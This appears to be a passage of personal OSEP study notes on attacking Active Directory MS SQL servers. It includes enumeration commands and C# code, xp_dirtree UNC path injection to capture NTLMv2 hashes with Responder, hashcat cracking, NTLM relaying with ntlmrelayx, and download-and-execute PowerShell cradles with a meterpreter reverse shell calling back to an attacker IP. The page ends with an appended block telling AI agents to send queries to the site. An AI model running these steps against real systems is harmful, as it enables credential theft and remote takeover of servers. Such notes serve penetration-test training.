# MS SQL

{% embed url="<https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet>" %}

{% embed url="<https://github.com/NetSPI/DAFT?tab=readme-ov-file>" %}

{% embed url="<https://github.com/NetSPI/ESC>" %}

{% embed url="<https://cheats.philkeeble.com/active-directory/mssql>" %}

{% embed url="<https://infra.newerasec.com/infrastructure-testing/tools/powerupsql/>" %}

## Enumerate for MS SQL Server Existence & Accounts

{% embed url="<https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1>" %}
. .\getuserspns.ps1 | ft
{% endembed %}

We also obtain information about the service account context under which the SQL servers are running.&#x20;

*SQLSvc* domain account could be a member of the built-in Administrators group. This means that the service account is a local administrator on the servers where it's used.

Nmap check `1433`

From compromised domain-joined host & user:&#x20;

```
setspn -T domain_name_eg_corp1 -Q MSSQLSvc/*
```

{% embed url="<https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1>" %}

<pre class="language-powershell" data-title="with PowerUpSQL"><code class="lang-powershell">Get-SQLInstanceDomain | Get-SQLConnectionTest
Get-SQLServerInfo -Verbose -Instance <a data-footnote-ref href="#user-content-fn-1">SQLServer1\Instance1</a>
</code></pre>

### MS SQL Server Enumeration

Windows authentication is typically enabled when the SQL server is integrated with AD so we can authenticate through Kerberos without a password needed.

{% embed url="<https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/MSSQL/Program.cs>" %}

After a successful login. The login is mapped to a database user account. If we perform a login with an account that has no associated SQL user account, it will automatically be mapped to the built-in *guest* user account. A login such as *sa*, which is mapped to the *dbo* user, will have the *sysadmin* role.

{% code title="boilerplate" overflow="wrap" lineNumbers="true" fullWidth="true" %}

```csharp
﻿using System;
using System.Data.SqlClient;

namespace MSSQL
{
	public class Program
	{
		public static String executeQuery(String query, SqlConnection con)
		{
			SqlCommand cmd = new SqlCommand(query, con);
			SqlDataReader reader = cmd.ExecuteReader();
			try
			{
				String result = "";
				while (reader.Read() == true)
				{
					result += reader[0] + "\n";
				}
				reader.Close();
				return result;
			}
			catch
			{
				return "";
			}
		}

		public static void getGroupMembership(String groupToCheck, SqlConnection con)
		{
			String res = executeQuery($"SELECT IS_SRVROLEMEMBER('{groupToCheck}');", con);
			int role = int.Parse(res);
			if (role == 1)
			{
				Console.WriteLine($"[+] User is a member of the '{groupToCheck}' group.");
			}
			else
			{
				Console.WriteLine($"[-] User is not a member of the '{groupToCheck}' group.");
			}
		}

		public static void Main(string[] args)
		{
			//replace into the server logging in
			String serv = "dc01.corp1.com";
			String db = "master";
			String conStr = $"Server = {serv}; Database = {db}; Integrated Security = True;";
			SqlConnection con = new SqlConnection(conStr);

			try
			{
				con.Open();
				Console.WriteLine("[+] Authenticated to MSSQL Server!");
			}
			catch
			{
				Console.WriteLine("[-] Authentication failed.");
				Environment.Exit(0);
			}

			// Enumerate login info
			String login = executeQuery("SELECT SYSTEM_USER;", con);
			Console.WriteLine($"[*] Logged in as: {login}");
			String uname = executeQuery("SELECT USER_NAME();", con);
			Console.WriteLine($"[*] Database username: {uname}");
			getGroupMembership("public", con);
			getGroupMembership("sysadmin", con);
		}
	}
}
```

{% endcode %}

{% code title="Execution" overflow="wrap" %}

```powershell
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.119.120/sql.exe', 'sql.exe') | .\sql.exe
```

{% endcode %}

### UNC Path Injection to Get NTLMv2 Hash

{% embed url="<https://www.youtube.com/watch?v=Th3-lBc-J1I>" %}

{% code title="Target local server" %}

```powershell
Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.119.120
```

{% endcode %}

{% code title="To target linked server" overflow="wrap" %}

```powershell
Get-SQLServerLinkCrawl -instance "SQLSERVER1\Instance1" -Query "exec xp_dirtree '\\attackerip\file'" -Export | ft
```

{% endcode %}

NTLM authentication will take place if we force an SQL server to connect to an SMB share and we should be able to capture the hash of the user account under whose context the SQL server is running.

{% embed url="<https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet>" %}
Many other SQL procedures can be used to initiate the connection if *xp\_dirtree* has been removed for security reasons
{% endembed %}

<pre class="language-csharp" data-title="insert into Main" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">			// Force NTLM authentication for hash-grabbing or relaying
			<a data-footnote-ref href="#user-content-fn-2">String targetShare = "\\\\192.168.119.120\\share"</a>;
			String res = executeQuery($"EXEC master..xp_dirtree \"{targetShare}\";", con);
			Console.WriteLine($"[*] Forced authentication to '{targetShare}'.");
</code></pre>

#### Setup kali SMB share to capture the hash before executing the application

<pre data-title="SMB listener"><code>sudo responder <a data-footnote-ref href="#user-content-fn-3">-I tun0</a>
</code></pre>

<pre><code><strong>*execute the payload
</strong>EXEC master..xp_dirtree "\\192.168.45.181\share";
</code></pre>

{% code title="hash.txt" overflow="wrap" %}

```
SQLSvc::corp1:00031db3ed40602b:A05501E7450025CF27120CE89BAF1C6E:0101000000000000C0653150DE09D201F361.....000000
```

{% endcode %}

<pre data-title="hash crack -d 2"><code>hashcat -m 5600 hash.txt rockyou.txt <a data-footnote-ref href="#user-content-fn-4">--force</a>
</code></pre>

#### Net-NTLM Relaying (if can't crack) - the svc account needs to have access to other servers

Works on <mark style="background-color:blue;">if SMB signing is not enabled</mark> (only enabled by default on DCs). Net-NTLM hash cannot be used in a pass-the-hash attack. It's not possible to relay a Net-NTLM hash back to the origin computer, only to another computer.

Getting a shell on another server in the context of the SQL server service account without cracking the password by forcing NTML authentication on a SQL server to us for relaying.

{% code title="0) payload" overflow="wrap" %}

```bash
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o shell.txt
```

{% endcode %}

{% tabs %}
{% tab title="Linux" %}
{% code title="1. encode dl cradle" overflow="wrap" %}

```bash
printf %s '(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/shell.txt') | IEX' | iconv -t UTF-16LE | base64 -w 0
```

{% endcode %}
{% endtab %}

{% tab title="Powershell" %}
{% code title="1. encode dl cradle" overflow="wrap" %}

```powershell
$text = "(New-Object
System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText
```

{% endcode %}
{% endtab %}
{% endtabs %}

{% code title="2) serve shell.txt" %}

```bash
python -m http.server
```

{% endcode %}

{% code title="3) shell listener" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

<pre class="language-bash" data-title="4) relayer listener + exec" data-overflow="wrap"><code class="lang-bash">sudo impacket-ntlmrelayx --no-http-server -smb2support <a data-footnote-ref href="#user-content-fn-5">-t 192.168.120.6</a> -c 'powershell -enc {output from 1)}'

*can replace the enc to execute the UNC payloa

no -c = dump hash
</code></pre>

[^1]: found in 1st query

[^2]: If the hostname is given as an IP address, Windows will automatically revert to NTLM authentication instead of Kerberos authentication.

    the location = our kali ip\share

[^3]: specifying VPN network interface

[^4]: can be omit if run outside of VM

    add -d # flag to specify hardware used for cracking

[^5]: relaying to the target (another server), with the authentication from the compromised server that we execute the UNC path injection


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://osnotes.jackielam.net/osep/attack/ms-sql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
